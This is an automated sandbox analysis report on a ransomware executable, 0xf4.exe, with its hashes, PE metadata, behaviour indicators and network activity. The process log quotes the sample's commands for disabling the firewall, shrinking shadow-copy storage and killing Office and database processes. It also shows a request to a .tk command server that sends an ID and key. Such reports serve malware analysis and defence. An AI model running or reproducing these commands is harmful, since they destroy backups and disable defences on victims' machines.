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File name:

0xf4.exe

Full analysis: https://app.any.run/tasks/a61e6e25-a4e0-454e-9b44-9722e0d23b90
Verdict: Malicious activity
Threats:

Ransomware is a type of malicious software that locks users out of their system or data using different methods to force them to pay a ransom. Most often, such programs encrypt files on an infected machine and demand a fee to be paid in exchange for the decryption key. Additionally, such programs can be used to steal sensitive information from the compromised computer and even conduct DDoS attacks against affected organizations to pressure them into paying.

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Analysis date: January 17, 2020, 14:21:09
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
ransomware
Indicators:
MIME: application/x-dosexec
File info: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
MD5:

912992FF1A789FF03FA0F12DFB65029D

SHA1:

272AD1DB579F516D8056DF679C8F51E0C67F39BE

SHA256:

4F7B4920DF5E49893B2561DAE65ABBE3F6413993FB1D4BB0B9DA1C28FCAE1726

SSDEEP:

384:ApracOhyIypYzb3ZoVj9uIgqhIV2jLADC5f991Q1/WZYrYcKrL:EOUPibptpqhIV20y9FYYcIL

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Starts BCDEDIT.EXE to disable recovery

      • cmd.exe (PID: 212)
      • cmd.exe (PID: 3148)

    • Deletes shadow copies

      • cmd.exe (PID: 212)
      • cmd.exe (PID: 3148)

    • Starts NET.EXE for service management

      • cmd.exe (PID: 2264)

    • Loads the Task Scheduler COM API

      • wbengine.exe (PID: 224)

    • Task Manager has been disabled (taskmgr)

      • 0xf4.exe (PID: 3984)

    • Renames files like Ransomware

      • 0xf4.exe (PID: 3984)

  • SUSPICIOUS

    • Starts CMD.EXE for commands execution

      • 0xf4.exe (PID: 3984)

    • Uses TASKKILL.EXE to kill Office Apps

      • cmd.exe (PID: 3716)

    • Uses NETSH.EXE for network configuration

      • cmd.exe (PID: 3276)

    • Uses TASKKILL.EXE to kill process

      • cmd.exe (PID: 3716)

    • Executed as Windows Service

      • vssvc.exe (PID: 1912)
      • wbengine.exe (PID: 224)
      • vds.exe (PID: 1328)

    • Creates files in the Windows directory

      • wbadmin.exe (PID: 2800)
      • 0xf4.exe (PID: 3984)

    • Low-level read access rights to disk partition

      • wbengine.exe (PID: 224)
      • vds.exe (PID: 1328)

    • Executed via COM

      • vdsldr.exe (PID: 1772)

    • Creates files in the driver directory

      • 0xf4.exe (PID: 3984)

    • Removes files from Windows directory

      • wbadmin.exe (PID: 3896)
      • wbadmin.exe (PID: 2740)
      • wbadmin.exe (PID: 1748)

  • INFO

    • Manual execution by user

      • NOTEPAD.EXE (PID: 3424)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.exe | Generic CIL Executable (.NET, Mono, etc.) (63.1)
.exe | Win64 Executable (generic) (23.8)
.dll | Win32 Dynamic Link Library (generic) (5.6)
.exe | Win32 Executable (generic) (3.8)
.exe | Generic Win/DOS Executable (1.7)

EXIF

EXE

MachineType: Intel 386 or later, and compatibles
TimeStamp: 2072:01:31 13:15:45+01:00
PEType: PE32
LinkerVersion: 48
CodeSize: 18432
InitializedDataSize: 5120
UninitializedDataSize: -
EntryPoint: 0x66ea
OSVersion: 4
ImageVersion: -
SubsystemVersion: 4
Subsystem: Windows GUI
FileVersionNumber: 1.0.0.0
ProductVersionNumber: 1.0.0.0
FileFlagsMask: 0x003f
FileFlags: (none)
FileOS: Win32
ObjectFileType: Executable application
FileSubtype: -
LanguageCode: Neutral
CharacterSet: Unicode
Comments: -
CompanyName: Microsoft
FileDescription: 0xf4
FileVersion: 1.0.0.0
InternalName: 0xf4.exe
LegalCopyright: Copyright © Microsoft 2020
LegalTrademarks: -
OriginalFileName: 0xf4.exe
ProductName: 0xf4
ProductVersion: 1.0.0.0
AssemblyVersion: 1.0.0.0

Summary

Architecture: IMAGE_FILE_MACHINE_I386
Subsystem: IMAGE_SUBSYSTEM_WINDOWS_GUI
Compilation Date: 26-Dec-1935 05:47:29
Debug artifacts:
  • C:\Users\Casper\Desktop\0xf4\0xf4\obj\Release\0xf4.pdb
Comments: -
CompanyName: Microsoft
FileDescription: 0xf4
FileVersion: 1.0.0.0
InternalName: 0xf4.exe
LegalCopyright: Copyright © Microsoft 2020
LegalTrademarks: -
OriginalFilename: 0xf4.exe
ProductName: 0xf4
ProductVersion: 1.0.0.0
Assembly Version: 1.0.0.0

DOS Header

Magic number: MZ
Bytes on last page of file: 0x0090
Pages in file: 0x0003
Relocations: 0x0000
Size of header: 0x0004
Min extra paragraphs: 0x0000
Max extra paragraphs: 0xFFFF
Initial SS value: 0x0000
Initial SP value: 0x00B8
Checksum: 0x0000
Initial IP value: 0x0000
Initial CS value: 0x0000
Overlay number: 0x0000
OEM identifier: 0x0000
OEM information: 0x0000
Address of NE header: 0x00000080

PE Headers

Signature: PE
Machine: IMAGE_FILE_MACHINE_I386
Number of sections: 3
Time date stamp: 26-Dec-1935 05:47:29
Pointer to Symbol Table: 0x00000000
Number of symbols: 0
Size of Optional Header: 0x00E0
Characteristics:
  • IMAGE_FILE_EXECUTABLE_IMAGE
  • IMAGE_FILE_LARGE_ADDRESS_AWARE

Sections

Name
Virtual Address
Virtual Size
Raw Size
Charateristics
Entropy
.text
0x00002000
0x000047F0
0x00004800
IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
5.60117
.rsrc
0x00008000
0x000010C8
0x00001200
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
5.03534
.reloc
0x0000A000
0x0000000C
0x00000200
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
0.0815394

Resources

Title
Entropy
Size
Codepage
Language
Type
1
5.20849
3332
UNKNOWN
UNKNOWN
RT_MANIFEST

Imports

mscoree.dll
No data.
screenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
126
Monitored processes
79
Malicious processes
5
Suspicious processes
1

Behavior graph

Click at the process to see the details
start 0xf4.exe no specs 0xf4.exe cmd.exe no specs netsh.exe no specs cmd.exe no specs vssadmin.exe no specs vssvc.exe no specs cmd.exe no specs vssadmin.exe no specs cmd.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs cmd.exe no specs net.exe no specs net1.exe no specs net.exe no specs net1.exe no specs net.exe no specs net1.exe no specs net.exe no specs net1.exe no specs net.exe no specs net1.exe no specs net.exe no specs net1.exe no specs net.exe no specs net1.exe no specs net.exe no specs net1.exe no specs net.exe no specs net1.exe no specs net.exe no specs net1.exe no specs net.exe no specs net1.exe no specs net.exe no specs net1.exe no specs net.exe no specs net1.exe no specs net.exe no specs net1.exe no specs net.exe no specs net1.exe no specs net.exe no specs net1.exe no specs cmd.exe no specs vssadmin.exe no specs wmic.exe no specs bcdedit.exe no specs bcdedit.exe no specs wbadmin.exe no specs wbengine.exe no specs vdsldr.exe no specs vds.exe no specs wbadmin.exe no specs wbadmin.exe no specs wbadmin.exe no specs cmd.exe no specs vssadmin.exe no specs wmic.exe no specs bcdedit.exe no specs bcdedit.exe no specs wbadmin.exe no specs wbadmin.exe no specs wbadmin.exe no specs wbadmin.exe no specs notepad.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
2660"C:\Users\admin\AppData\Local\Temp\0xf4.exe" C:\Users\admin\AppData\Local\Temp\0xf4.exe—explorer.exe
User:
admin
Company:
Microsoft
Integrity Level:
MEDIUM
Description:
0xf4
Exit code:
3221226540
Version:
1.0.0.0
3984"C:\Users\admin\AppData\Local\Temp\0xf4.exe" C:\Users\admin\AppData\Local\Temp\0xf4.exe
explorer.exe
User:
admin
Company:
Microsoft
Integrity Level:
HIGH
Description:
0xf4
Exit code:
0
Version:
1.0.0.0
3276"cmd.exe" /C netsh firewall set opmode disableC:\Windows\system32\cmd.exe—0xf4.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
1744netsh firewall set opmode disableC:\Windows\system32\netsh.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Network Command Shell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2748"cmd.exe" /C vssadmin resize shadowstorage /for=C: /on=C: /maxsize=401MBC:\Windows\system32\cmd.exe—0xf4.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
3824vssadmin resize shadowstorage /for=C: /on=C: /maxsize=401MBC:\Windows\system32\vssadmin.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Command Line Interface for Microsoft® Volume Shadow Copy Service
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
1912C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe—services.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Microsoft® Volume Shadow Copy Service
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2868"cmd.exe" /C vssadmin resize shadowstorage /for=C: /on=C: /maxsize=unboundedC:\Windows\system32\cmd.exe—0xf4.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
2116vssadmin resize shadowstorage /for=C: /on=C: /maxsize=unboundedC:\Windows\system32\vssadmin.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Command Line Interface for Microsoft® Volume Shadow Copy Service
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3716"cmd.exe" /C taskkill /f /im sql.* & taskkill /f /im winword.* & taskkill /f /im wordpad.* & taskkill /f /im outlook.* & taskkill /f /im thunderbird.* & taskkill /f /im oracle.* & taskkill /f /im excel.* & taskkill /f /im onenote.* & taskkill /f /im virtualboxvm.* & taskkill /f /im node.* & taskkill /f /im QBW32.* & taskkill /f /im WBGX.* & taskkill /f /im Teams.* & taskkill /f /im Flow.*C:\Windows\system32\cmd.exe—0xf4.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows Command Processor
Exit code:
128
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Total events
353
Read events
274
Write events
0
Delete events
0

Modification events

No data
Executable files
0
Suspicious files
31
Text files
12
Unknown types
15

Dropped files

PID
Process
Filename
Type
39840xf4.exeC:\Users\admin\Pictures\deadmaking.png —
MD5:—
SHA256:—
39840xf4.exeC:\Users\admin\Pictures\feetdeveloping.png —
MD5:—
SHA256:—
39840xf4.exeC:\Users\admin\Pictures\hardidea.jpg —
MD5:—
SHA256:—
39840xf4.exeC:\Users\admin\Pictures\houseco.jpg —
MD5:—
SHA256:—
39840xf4.exeC:\Users\admin\Pictures\regionalstring.png —
MD5:—
SHA256:—
39840xf4.exeC:\Users\admin\Pictures\stockvol.jpg —
MD5:—
SHA256:—
39840xf4.exeC:\Users\admin\Pictures\stuffoptional.png —
MD5:—
SHA256:—
39840xf4.exeC:\Users\admin\Documents\centerbase.rtf —
MD5:—
SHA256:—
39840xf4.exeC:\Users\admin\Documents\egrestaurants.rtf —
MD5:—
SHA256:—
39840xf4.exeC:\Users\admin\Documents\motionjan.rtf —
MD5:—
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
1
DNS requests
1
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3984
0xf4.exe
GET
200
185.130.56.6:80
http://zaammmama.tk/SHwLFOP19dHNKMSJ2mXhN92ZcpOcAEz.php?vIrMpaVbm86WzXjtcxEsw4YQ1Syo0B9NvOSuTlKNTsD9ksoe3Y2QTKSWC9sr=ID:_UvcTKa6rvDsv___Key:___0FVubOtiUtsYtaxHNy4a1CY0jscKBeqxopufinOTivyDEXVSGdf3C28xR5kTLSRQd4JdQryzTl1GdvwwGudy9x5wr6ynd4hzOSzJnSboOPkrbCtwIYnrPtQP8nVU3kwYdB1u5WiYsYTunOvZMcPoR0
unknown
—
—
suspicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3984
0xf4.exe
185.130.56.6:80
zaammmama.tk
—
—
suspicious

DNS requests

Domain
IP
Reputation
zaammmama.tk
  • 185.130.56.6
suspicious

Threats

PID
Process
Class
Message
—
—
Potentially Bad Traffic
ET DNS Query to a .tk domain - Likely Hostile
3984
0xf4.exe
Potentially Bad Traffic
ET POLICY HTTP Request to a *.tk domain
No debug info
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Reports
0xf4.exe